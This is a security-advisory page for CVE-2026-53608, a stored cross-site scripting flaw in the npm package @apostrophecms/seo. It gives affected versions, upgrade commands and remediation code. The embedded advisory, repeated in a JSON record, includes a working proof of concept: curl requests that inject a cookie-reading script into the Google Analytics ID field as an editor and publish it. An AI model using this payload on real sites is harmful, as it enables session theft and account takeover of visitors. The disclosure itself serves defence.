CVE-2026-53608: @apostrophecms/seo Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-wf43-fpp3-cf65
Share
CVSS 8.7
CWE-79
Published
Advisory Summary

CVE-2026-53608 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @apostrophecms/seo libraries in the npm ecosystem. The issue involves @apostrophecms/seo vulnerable to stored xss via unsanitized google analytics / gtm id injected into script tag. Remediation is available by upgrading affected packages to version 1.5.0.

CVE-2026-53608 at a Glance

CVE Identifier CVE-2026-53608
GHSA Identifier GHSA-wf43-fpp3-cf65
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @apostrophecms/seo
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-53608

To remediate this vulnerability, upgrade all affected @apostrophecms/seo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@apostrophecms/seo fixed: 1.5.0 
npm install @apostrophecms/seo@1.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @apostrophecms/seo

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53608, inspect your project dependencies using npm:

npm ls @apostrophecms/seo

Analyze the terminal output to locate any version of @apostrophecms/seo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.0), your application is affected.

Note: The npm ls @apostrophecms/seo command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @apostrophecms/seo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />

CVE-2026-53608 Affected @apostrophecms/seo Versions

1 component(s)
Fixed Versions:
1.5.0
Product / Package Ecosystem Affected Versions Fixed Version
@apostrophecms/seo
npm/@apostrophecms/seo
npm
< 1.5.0
1.5.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65
NVD — CVE-2026-53608 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-53608
@apostrophecms/seo Source Repository REPOSITORY
https://github.com/apostrophecms/apostrophe/pull/5464
Security Fix Commit FIX COMMIT
https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b
@apostrophecms/seo Source Repository REPOSITORY
https://github.com/apostrophecms/apostrophe

Frequently Asked Questions

What is CVE-2026-53608?
CVE-2026-53608 is a security vulnerability in @apostrophecms/seo involving @apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @apostrophecms/seo versions are affected?
Affected versions include releases prior to 1.5.0 across affected packages: @apostrophecms/seo.
What version fixes CVE-2026-53608?
Upgrading to 1.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @apostrophecms/seo affected?
Yes, @apostrophecms/seo is affected in releases prior to 1.5.0. Upgrade your dependency to 1.5.0 or later.
What is the CVSS score of CVE-2026-53608?
CVE-2026-53608 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-53608?
CVE-2026-53608 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-53608?
Run the dependency tree command: 'npm ls @apostrophecms/seo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wf43-fpp3-cf65",
  "modified" : "2026-07-31T21:53:56Z",
  "published" : "2026-07-31T21:53:56Z",
  "aliases" : [ "CVE-2026-53608" ],
  "summary" : "@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag",
  "details" : "<img width=\"1919\" height=\"1046\" alt=\"curl\" src=\"https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6\" />\n<img width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d\" />\n\n### Summary\n\nThe `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation.\n\nAny user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.\n\n### Details\n\nThe vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`.\n\n**Google Analytics (lines 218–224):**\n\n```javascript\n// seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation\nbody: [ {\n  raw: `\n  window.dataLayer = window.dataLayer || [];\n  function gtag(){dataLayer.push(arguments);}\n  gtag('js', new Date());\n  gtag('config', '${global.seoGoogleTrackingId}');\n`\n} ]\n```\n\n**Google Tag Manager (lines 358–362):**\n\n```javascript\nbody: [ {\n  raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`\n} ]\n```\n\nThese nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177):\n\n```javascript\nif (node.raw != null) {\n  return node.raw;  // returned verbatim, no escaping\n}\n```\n\nThe fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352.\n\nApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.\n\n### PoC\n\n**Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account.\n\n#### Step 1 — Login as editor\n\n```bash\ncurl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"editor\",\"password\":\"password\"}'\n```\n\nResponse:\n\n```json\n{\"token\":\"YOUR_TOKEN\"}\n```\n\n#### Step 2 — Get the global document ID\n\n```bash\ncurl -s -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  http://TARGET/api/v1/@apostrophecms/global\n```\n\nNote the `_id` value ending in `:en:draft`.\n\n#### Step 3 — Inject payload into Google Analytics ID\n\n```bash\ncurl -s -X PATCH \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID\" \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  -d '{\"seoGoogleTrackingId\":\"G-FAKE'\"'\"'); alert(document.cookie); //\"}'\n```\n\n#### Step 4 — Publish\n\n```bash\ncurl -s -X POST \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish\" \\\n  -H \"Authorization: Bearer YOUR_TOKEN\"\n```\n\n#### Step 5 — Visit any page\n\nThe injected payload appears in `<head>` and executes:\n\n```html\n<script>\n  gtag('config', 'G-FAKE'); alert(document.cookie); //');\n</script>\n```\n\n### Impact\n\nThis is a Stored Cross-Site Scripting (XSS) vulnerability.\n\nAny user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.\n\nImpact includes:\n\n- Session token theft of all visitors, including other editors and administrators\n- Full account takeover via stolen administrator cookies\n- Malware distribution, phishing overlays, or credential harvesting targeting site visitors\n- Persistent compromise, as the payload remains active until manually removed\n\n### Remediation\n\nValidate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.\n\n```javascript\n// Validate format before accepting\nif (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {\n  throw new Error('Invalid tracking ID format');\n}\n```\n\n```javascript\n// Use safeJsonForScript instead of raw template literals\nbody: [ { json: global.seoGoogleTrackingId } ]\n```\n\nOr:\n\n```javascript\n// Escape the value before insertion\nraw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`\n```\n<img width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@apostrophecms/seo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53608"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/pull/5464"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T21:53:56Z",
    "nvd_published_at" : "2026-06-12T22:16:52Z"
  }
}